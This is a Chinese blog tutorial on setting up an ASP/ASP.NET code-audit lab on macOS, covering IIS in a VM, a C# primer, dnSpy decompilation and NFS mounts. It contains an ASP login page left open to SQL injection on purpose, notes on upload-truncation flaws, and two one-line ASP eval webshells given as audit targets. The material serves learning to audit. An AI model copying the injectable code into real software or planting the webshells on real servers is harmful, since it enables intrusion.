浅谈Mac上手 Asp and Asp.net 代码审计(一)

0x1 前言

Asp现在来说相对落后,也就是比较out了,但是在一些内网老系统还是经常可以看见的,Asp.net的话是我之前就打算学习的东西,因为这两个搭建起来的环境比较相似,所以把它这两者放在了这篇文章里面,这样方便查阅和学习。特别说明,本文主要是探讨mac环境如何上手 asp and asp.net审计,出发点是一个菜鸟无基础,所以一些大手子可以选择鄙视我并且x掉页面。

0x2 环境搭建

当前环境: MAC OS 使用PD虚拟机创建了win10

web服务器: iis

安装过程非常简单: 控制面板-> 程序与功能->window功能

然后选择如下设置即可:

image-20190607165343661

image-20190607174044979

这里我想谈下CGI和ISASPI

这里推荐两篇文章:

IIS里ISAPI扩展与ISAPI筛选器的区别和相同之处

IIS里ISAPI和CGI比较:几种执行方式的不同

其实CGI ASP JSP PHP 都是常用的动态网页技术,与这篇文章没有太大关系,但可以去适当了解下。

0x3 创建一个asp测试站点

打开iis管理器->添加网站

查看下当前IP信息(这里采用的是共享网络)

以太网适配器 以太网:

   连接特定的 DNS 后缀 . . . . . . . : localdomain

   IPv6 地址 . . . . . . . . . . . . : fdb2:2c26:f4e4:0:a1e9:be2b:e47:4ace

   临时 IPv6 地址. . . . . . . . . . : fdb2:2c26:f4e4:0:2517:1ae1:48bd:d9bb

   本地链接 IPv6 地址. . . . . . . . : fe80::a1e9:be2b:e47:4ace%3

   IPv4 地址 . . . . . . . . . . . . : 10.211.55.20

   子网掩码  . . . . . . . . . . . . : 255.255.255.0

   默认网关. . . . . . . . . . . . . : fe80::21c:42ff:fe00:18%3

                                       10.211.55.1

在桌面创建一个存放网站内容的文件夹C:Usersxq17Desktopasptest (PD虚拟机 Mac可以直接访问到window文件夹)

image-20190607180225491

创建一个index.asp在网站目录

<!DOCTYPE html>

<html>

<body>

<%

response.write("Hello World!")

%>

</body>

</html>

可以发现提示401访问权限错误。

HTTP 错误 401.3 – Unauthorized

由于 Web 服务器上此资源的访问控制列表(ACL)配置或加密设置,您无权查看此目录或页面。

其实是文件夹权限问题,参考https://blog.csdn.net/wyz670083956/article/details/79092446配置个everyone用户即可,流程如下: 编辑权限->安全->添加->高级->立即查找->下方列出的对象选择Everyone即可。

下面操作都是在iis配置下。

我们需要设置下iis的默认文档添加个index.asp

image-20190607181345530

为了调试方便,我们开启目录浏览功能

image-20190607181639326

这个时候Mac访问发现失败,只需要关闭下window自带防火墙即可。

image-20190607182424669

0x4 Asp代码审计初准备

代码审计最基本要求是掌握审计程序使用的语言的基本语法,这里推荐菜鸟教程ASP教程,方便上手

那么检验和巩固自己学习成功的最好是手段,是尝试自己去写一个漏洞网站,熟悉下开发的流程。因为asp不是很常用,所以这里只针对高危的审计点进行说明,后面如果在渗透过程遇到有意思的aspweb程序,我会补上这个系列。

0x4.1 编写基于Access的注入点测试网站

0.开启错误提示(debug模式)

image-20190608001131135

image-20190608001143878

这样能让我们快速找到代码出错的原因。

1.利用office自带 Access创建个Access数据库:

Databasename:sql.mdg

tablename: sql

Column:id username password

然后保存的时候选择mdb格式

image-20190607202202598

2.编写一个sql.asp页面

代码如下:

连接数据库方式: 有时候会有权限问题,具体查看网站报错内容

conn.asp

‘ DSN-less 连接

<%

set conn=Server.CreateObject("ADODB.Connection")

conn.Provider="Microsoft.Jet.OLEDB.4.0"

conn.Open "c:/users/xq17/desktop/asptest/sql.mdb"

%>

‘ ODAC 连接 这个需要配置下数据源 有时候不对的时候要设置下iis中的应用程序->开启32位应用程序支持

<%

set conn=Server.CreateObject("ADODB.Connection")

conn.Open "sql"

%>

sql.asp

<!--#include file="conn.asp" -->

<%

set rs=Server.CreateObject("ADODB.recordset")

sqlc="select * from admin where username='" & Request.QueryString("username") & "' and password='" & Request.QueryString("password") & "'" '漏洞点

Response.Write("SQL:" & sqlc)

rs.Open sqlc,conn,1,1

username= rs("username")

Response.AddHeader "Content-Type","text/html; charset=UTF-8"

' if username="" then

'     Response.Write("<br> 登陆失败")

' End if

if not rs.eof then

    Response.Write("<br>当前登陆的信息为:<br>")

    do until rs.EOF

      for each x in rs.Fields

            Response.Write(x.name)

            Response.Write(" = ")

            Response.Write(x.value & "<br>")

      next

      Response.Write("<br>")

      rs.MoveNext

    loop

End if

rs.close

%>

image-20190608013543038

可以看到这里的直接通过Request.QueryString(“password”)获取然后拼接进入SQL语句,导致了注入

0x4.2 经典的双文件上传漏洞代码并且分析成因

其实我们平时遇到asp的源码,无非路子常见就只有3条

(1)越权

(2)注入

(3)上传

越权只要读下全局check_login就好了,所以这里主要分析下经典的双文件上传漏洞及其成因。

推荐一篇古老的文章: ASP上传漏洞

关于真实案例,只能等有机会再去审计一波了,asp的其实黑盒测试足矣,基本截断通杀。

程序没有filepath=replace(filepath,chr(0),””) 路径和文件名可控, 那么直接可以截断通杀

还有就是大小写的问题,过滤不言,黑名单不全等问题。

0x4.3 经典的命令执行木马

1.<%=Eval(Request(“xq17”))%>

2.<%eval request(“xq17”)%>

相应等价Eval的还有 Execute 、ExecuteGlobal(不输出结果)

审计的时候重点关注这些函数,如果参数可控直接getshell。

0x5 Aspx代码审计初准备

关于asp.net代码审计,其实最开始的思路就是要自己了解c#语言的基本语言结构,然后自己去尝试开发一个简单asp.net的项目,然后尝试逆向对比和源码的区别,从而做到心中有数。

0x5.1 IDE的选择

asp.net审计我觉得最好从一个项目的开发流程来走,快速生成项目模版和运行,所以我觉得visual studio值得选择。

所以可以选择在 win10 -> 安装visual studio社区版

这里推荐下,我是如何学习vs的使用的。

推荐这篇文章: 欢迎使用 Visual Studio IDE | C#

通过这篇文章你可以快速上手visual stdio的使用。

(1) 了解一些基础tips 转向函数定义 变量重命名 内联文档 (查阅官方高效性方面的常用功能)

(2)实战操作建立一个hello world的C#程序

(3)实战建立一个asp.net Web 项目

0x5.2 浅谈下C#的快速入门

快速入门C# 菜鸟教程

(0) 了解注释

C#语言中包含了三种注释符

(1).单行注释   //

(2).多行注释  /*要注释的内容*/       注意:多行注释不能嵌套使用

(3).文档注释 ///     文档注释可以用来注释方法,也可以用来注释类.

(1) 了解程序最小结构

using System;  //包含System命名空间

namespace HelloWorldApplication // 空间声明

{

   class HelloWorld //类声明

   {

      static void Main(string[] args) //定义Main方法,C# 程序入口点

      {

         /* 我的第一个 C# 程序*/  //注释

         Console.WriteLine("Hello World"); //system空间下Console类的放啊放

         Console.ReadKey(); //等待按键然后结束

      }

   }

}

(2)学习顺序、选择、循环基本结构

(3)了解下异常处理

try

{

    //自己的代码

}

catch(ExceptionName e1)

{

    //    错误处理代码

}

catch(ExceptionName e2)

{

    //    错误处理代码

}

finally

{

    //要执行的语句

}

这些知识,可以让你基本读懂代码,后面就可以采取通过不断阅读各种代码的学习方式,加深对其他内容的学习。

0x5.3 尝试去建立一个hello world c# 程序

image-20190609104755504

image-20190609105000797

查看解决方案管理器,可以看到项目文件的构成。

image-20190609105045474

可以看到执行成功,然后查看下目录生成的内容,对比进行了解一些编译连接过程产生的文件。

image-20190609105239394

Main函数代码主要是如下(模版)

using System;



namespace HelloWorld

{

    class Program

    {

        static void Main(string[] args)

        {

            Console.WriteLine("Hello World!");

        }

    }

}

0x5.4 建立一个asp.net Web 项目

参考链接: 创建web应用

后面深入学习的话尝试两种经典的设计模式MVC and Razor:

web应用设计

这里先直接介绍下流程

项目创建->项目部署->反编译查看

0x5.4.1 (1)项目创建

这里的解决方案模版是基于 Razor 页面设计模式,也是MVC架构,非常方便。

image-20190609112906006

image-20190609112937662

image-20190609113347583

0x5.4.2 (2)项目部署

image-20190609115716383

image-20190609120206998

0x5.4.3 (3)dnSpy反编译

image-20190609120710724

image-20190609120729704

然后对比源码:

image-20190609120758638

image-20190609121126205

可以看到反编译DLL的结果其实也只是能大概了解逻辑而已,跟源码还是有一定差异的。

0x6 远程搭建调试环境思路

这里可以介绍下远程环境搭建思路(比如在阿里云安装了windowserver 2008),如何进行本地调试?

这里我们可以采取nfs远程共享文件夹的方式,在本地电脑挂载远程服务器的网站目录

(1) 远程环境window下:

下载 hane win nfs server (ps.我自己下载的是汉化版的。逃)

然后配置下输出选项下的内容

# exports example



C:\ftp -range 192.168.1.1 192.168.1.10

c:\public -public -readonly

c:\tools -readonly 192.168.1.4

c:\users\xq17\desktop\asp\test -public -name:asptest

然后开始->搜索重启所有服务 这样就可以成功挂载 参考这个文章: Windows10配置NFS服务端和客户端

image-20190607190626197

然后MAC本机对这个目录进行远程挂载。

查看挂载的目录: showmount -e 10.211.55.20

image-20190607192205417

Mac进行挂载:

sudo mount -o resvport 10.211.55.20:/asptest /tmp/test

image-20190607195706001

卸载的话在Finder,mac的没有unmount 命令,如果有其他命令,希望师傅能告诉下我。

image-20190607195949928

(2) 远程环境Linux下:

1.安装nfs服务器 sudo apt install nfs-kernel-server

2.配置/etc/exports 配置文件

/tmp *(rw,sync,no_subtree_check,no_root_squash)

3.重启服务

sudo service nfs-kernel-server restart

Mac进行挂载:

sudo mount -t nfs 47.101.46.x:/tmp /tmp/test 发现失败 Operation not permitted

sudo mount -o resvport 47.101.46.x:/tmp /tmp/test

image-20190607193440869

可以看到挂载成功

linux下取消挂载

sudo unmount /tmp/test

但是mac好像没有这个命令,不过我们可以选择去finder 点击卸载。

0x7 总结和反思

本文主要记录了自己在探索Asp和Asp.net审计过程的摸索和尝试,基本是0基础出发的,所以文中可能会诸多纰漏或者低级错误,欢迎师傅指出和提供相关资料让我去学习。后面我会针对Asp.net的审计进行重点学习,对具体的开发流程和反编译原理进行深一步研究,从而寻找一种高效可行的Asp.net审计方案。

(完)